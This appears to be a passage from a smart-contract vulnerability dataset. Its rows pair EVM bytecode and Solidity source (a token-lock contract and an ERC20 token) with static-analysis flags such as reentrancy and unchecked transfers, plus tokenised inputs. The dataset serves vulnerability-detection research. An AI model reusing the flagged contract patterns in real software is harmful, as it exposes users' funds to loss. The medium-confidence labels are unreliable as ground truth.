5b60005b8181101561132e576008805461131e913391906000610d5383611efc565b61132781611efc565b9050611300565b506001600b541180156113445750600954600854145b1561081757600b6000815461135890611efc565b9091555050565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061139482610835565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166114465760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161059b565b600061145183610835565b9050806001600160a01b0316846001600160a01b0316148061148c5750836001600160a01b031661148184610526565b6001600160a01b0316145b806114bc57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166114d782610835565b6001600160a01b03161461153f5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161059b565b6001600160a01b0382166115a15760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161059b565b6115ac60008261135f565b6001600160a01b03831660009081526003602052604081208054600192906115d5908490612070565b90915550506001600160a01b0382166000908152600360205260408120805460019290611603908490612058565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6001600160a01b0382166116ba5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161059b565b6000818152600260205260409020546001600160a01b03161561171f5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161059b565b6001600160a01b0382166000908152600360205260408120805460019290611748908490612058565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6117b18484846114c4565b6117bd848484846118da565b610e8d5760405162461bcd60e51b815260040161059b90612087565b6060816000036118005750506040805180820190915260018152600360fc1b602082015290565b8160005b811561182a578061181481611efc565b91506118239050600a836120d9565b9150611804565b60008167ffffffffffffffff81111561184557611845611c3e565b6040519080825280601f01601f19166020018201604052801561186f576020820181803683370190505b5090505b84156114bc57611884600183612070565b9150611891600a86611ed2565b61189c906030612058565b60f81b8183815181106118b1576118b16120ed565b60200101906001600160f81b031916908160001a9053506118d3600a866120d9565b9450611873565b60006001600160a01b0384163b156119d057604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061191e903390899088908890600401612103565b6020604051808303816000875af1925050508015611959575060408051601f3d908101601f1916820190925261195691810190612140565b60015b6119b6573d808015611987576040519150601f19603f3d011682016040523d82523d6000602084013e61198c565b606091505b5080516000036119ae5760405162461bcd60e51b815260040161059b90612087565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506114bc565b506001949350505050565b8280546119e790611e0a565b90600052602060002090601f016020900481019282611a095760008555611a4f565b82601f10611a2257805160ff1916838001178555611a4f565b82800160010185558215611a4f579182015b82811115611a4f578251825591602001919060010190611a34565b50611a5b929150611a5f565b5090565b5b80821115611a5b5760008155600101611a60565b6001600160e01b03198116811461081757600080fd5b600060208284031215611a9c57600080fd5b8135611aa781611a74565b9392505050565b60005b83811015611ac9578181015183820152602001611ab1565b83811115610e8d5750506000910152565b60008151808452611af2816020860160208601611aae565b601f01601f19169290920160200192915050565b602081526000611aa76020830184611ada565b600060208284031215611b2b57600080fd5b5035919050565b80356001600160a01b0381168114611b4957600080fd5b919050565b60008060408385031215611b6157600080fd5b611b6a83611b32565b946020939093013593505050565b600060208284031215611b8a57600080fd5b611aa782611b32565b600080600060608486031215611ba857600080fd5b611bb184611b32565b9250611bbf60208501611b32565b9150604084013590509250925092565b600080600060608486031215611be457600080fd5b505081359360208301359350604090920135919050565b80358015158114611b4957600080fd5b60008060408385031215611c1e57600080fd5b611c2783611b32565b9150611c3560208401611bfb565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff80841115611c6f57611c6f611c3e565b604051601f8501601f19908116603f01168101908282118183101715611c9757611c97611c3e565b81604052809350858152868686011115611cb057600080fd5b858560208301376000602087830101525050509392505050565b600082601f830112611cdb57600080fd5b611aa783833560208501611c54565b600060208284031215611cfc57600080fd5b813567ffffffffffffffff811115611d1357600080fd5b6114bc84828501611cca565b60008060408385031215611d3257600080fd5b823567ffffffffffffffff811115611d4957600080fd5b611d5585828601611cca565b925050611c3560208401611bfb565b60008060008060808587031215611d7a57600080fd5b611d8385611b32565b9350611d9160208601611b32565b925060408501359150606085013567ffffffffffffffff811115611db457600080fd5b8501601f81018713611dc557600080fd5b611dd487823560208401611c54565b91505092959194509250565b60008060408385031215611df357600080fd5b611dfc83611b32565b9150611c3560208401611b32565b600181811c90821680611e1e57607f821691505b602082108103611e3e57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600d908201526c2727aa102a24229027aba722a960991b604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b600082611ee157611ee1611ebc565b500690565b634e487b7160e01b600052601160045260246000fd5b600060018201611f0e57611f0e611ee6565b5060010190565b60008151611f27818560208601611aae565b9290920192915050565b60008251611f43818460208701611aae565b9190910192915050565b600080845481600182811c915080831680611f6957607f831692505b60208084108203611f8857634e487b7160e01b86526022600452602486fd5b818015611f9c5760018114611fad57611fda565b60ff19861689528489019650611fda565b60008b81526020902060005b86811015611fd25781548b820152908501908301611fb9565b505084890196505b505050505050611fea8185611f15565b95945050505050565b600081600019048311821515161561200d5761200d611ee6565b500290565b60208082526026908201527f594f552043414e204e4f542053554d4d4f4e204d4f5245205448414e2031302060408201526544454d4f4e5360d01b606082015260800190565b6000821982111561206b5761206b611ee6565b500190565b60008282101561208257612082611ee6565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6000826120e8576120e8611ebc565b500490565b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061213690830184611ada565b9695505050505050565b60006020828403121561215257600080fd5b8151611aa781611a7456fea2646970667358221220775c36b3630d42d5b60a9b6c5bedfe5ea9346047ab677b2ddc9852d2089e1b5d64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 11387, 4402, 2581, 2497, 22394, 22394, 23632, 24096, 2581, 3676, 2497, 2487, 6679, 2063, 11387, 21926, 21084, 12376, 27421, 2581, 2497, 2683, 2094, 28154, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 1038, 4135, 2497, 1013, 3040, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 2575, 2581, 2620, 2683, 7875, 19797, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,053
0x962127d59c12af676a616fc979633bc077df5083
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29894400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x2CB2FB01E40bDAE0a0e61b895F61e36782100bd4; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a72305820792d663d5fd678a8a97ce79859da007f4f9f6f845307eddfebd26ab2b487f1ab0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 17465, 22907, 2094, 28154, 2278, 12521, 10354, 2575, 2581, 2575, 2050, 2575, 16048, 11329, 2683, 2581, 2683, 2575, 22394, 9818, 2692, 2581, 2581, 20952, 12376, 2620, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,054
0x9621fbfbf489e817b45577b323cf67eeee21b842
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'MultiEx' 'MultiEx Project' token contract // // Symbol : MEX // Name : MultiEx Project // Total supply: 1,000,000.000000000000000000 // Decimals : 18 // // Enjoy. // // (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and a // fixed supply // ---------------------------------------------------------------------------- contract MultiEx is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "MEX"; name = "MultiEx"; decimals = 18; _totalSupply = 10000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce5671461028557806370a08231146102b657806379ba50971461030d5780638da5cb5b1461032457806395d89b411461037b578063a9059cbb1461040b578063cae9ca5114610470578063d4ee1d901461051b578063dc39d06d14610572578063dd62ed3e146105d7578063f2fde38b1461064e575b600080fd5b3480156100ec57600080fd5b506100f5610691565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072f565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea610821565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061087c565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610b27565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102c257600080fd5b506102f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3a565b6040518082815260200191505060405180910390f35b34801561031957600080fd5b50610322610b83565b005b34801561033057600080fd5b50610339610d22565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038757600080fd5b50610390610d47565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d05780820151818401526020810190506103b5565b50505050905090810190601f1680156103fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041757600080fd5b50610456600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610de5565b604051808215151515815260200191505060405180910390f35b34801561047c57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610f80565b604051808215151515815260200191505060405180910390f35b34801561052757600080fd5b506105306111cf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057e57600080fd5b506105bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111f5565b604051808215151515815260200191505060405180910390f35b3480156105e357600080fd5b50610638600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611359565b6040518082815260200191505060405180910390f35b34801561065a57600080fd5b5061068f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113e0565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107275780601f106106fc57610100808354040283529160200191610727565b820191906000526020600020905b81548152906001019060200180831161070a57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610877600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461147f90919063ffffffff16565b905090565b60006108d082600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147f90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109a282600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147f90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149b90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bdf57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ddd5780601f10610db257610100808354040283529160200191610ddd565b820191906000526020600020905b815481529060010190602001808311610dc057829003601f168201915b505050505081565b6000610e3982600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147f90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ece82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149b90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561115d578082015181840152602081019050611142565b50505050905090810190601f16801561118a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156111ac57600080fd5b505af11580156111c0573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125257600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506020604051808303816000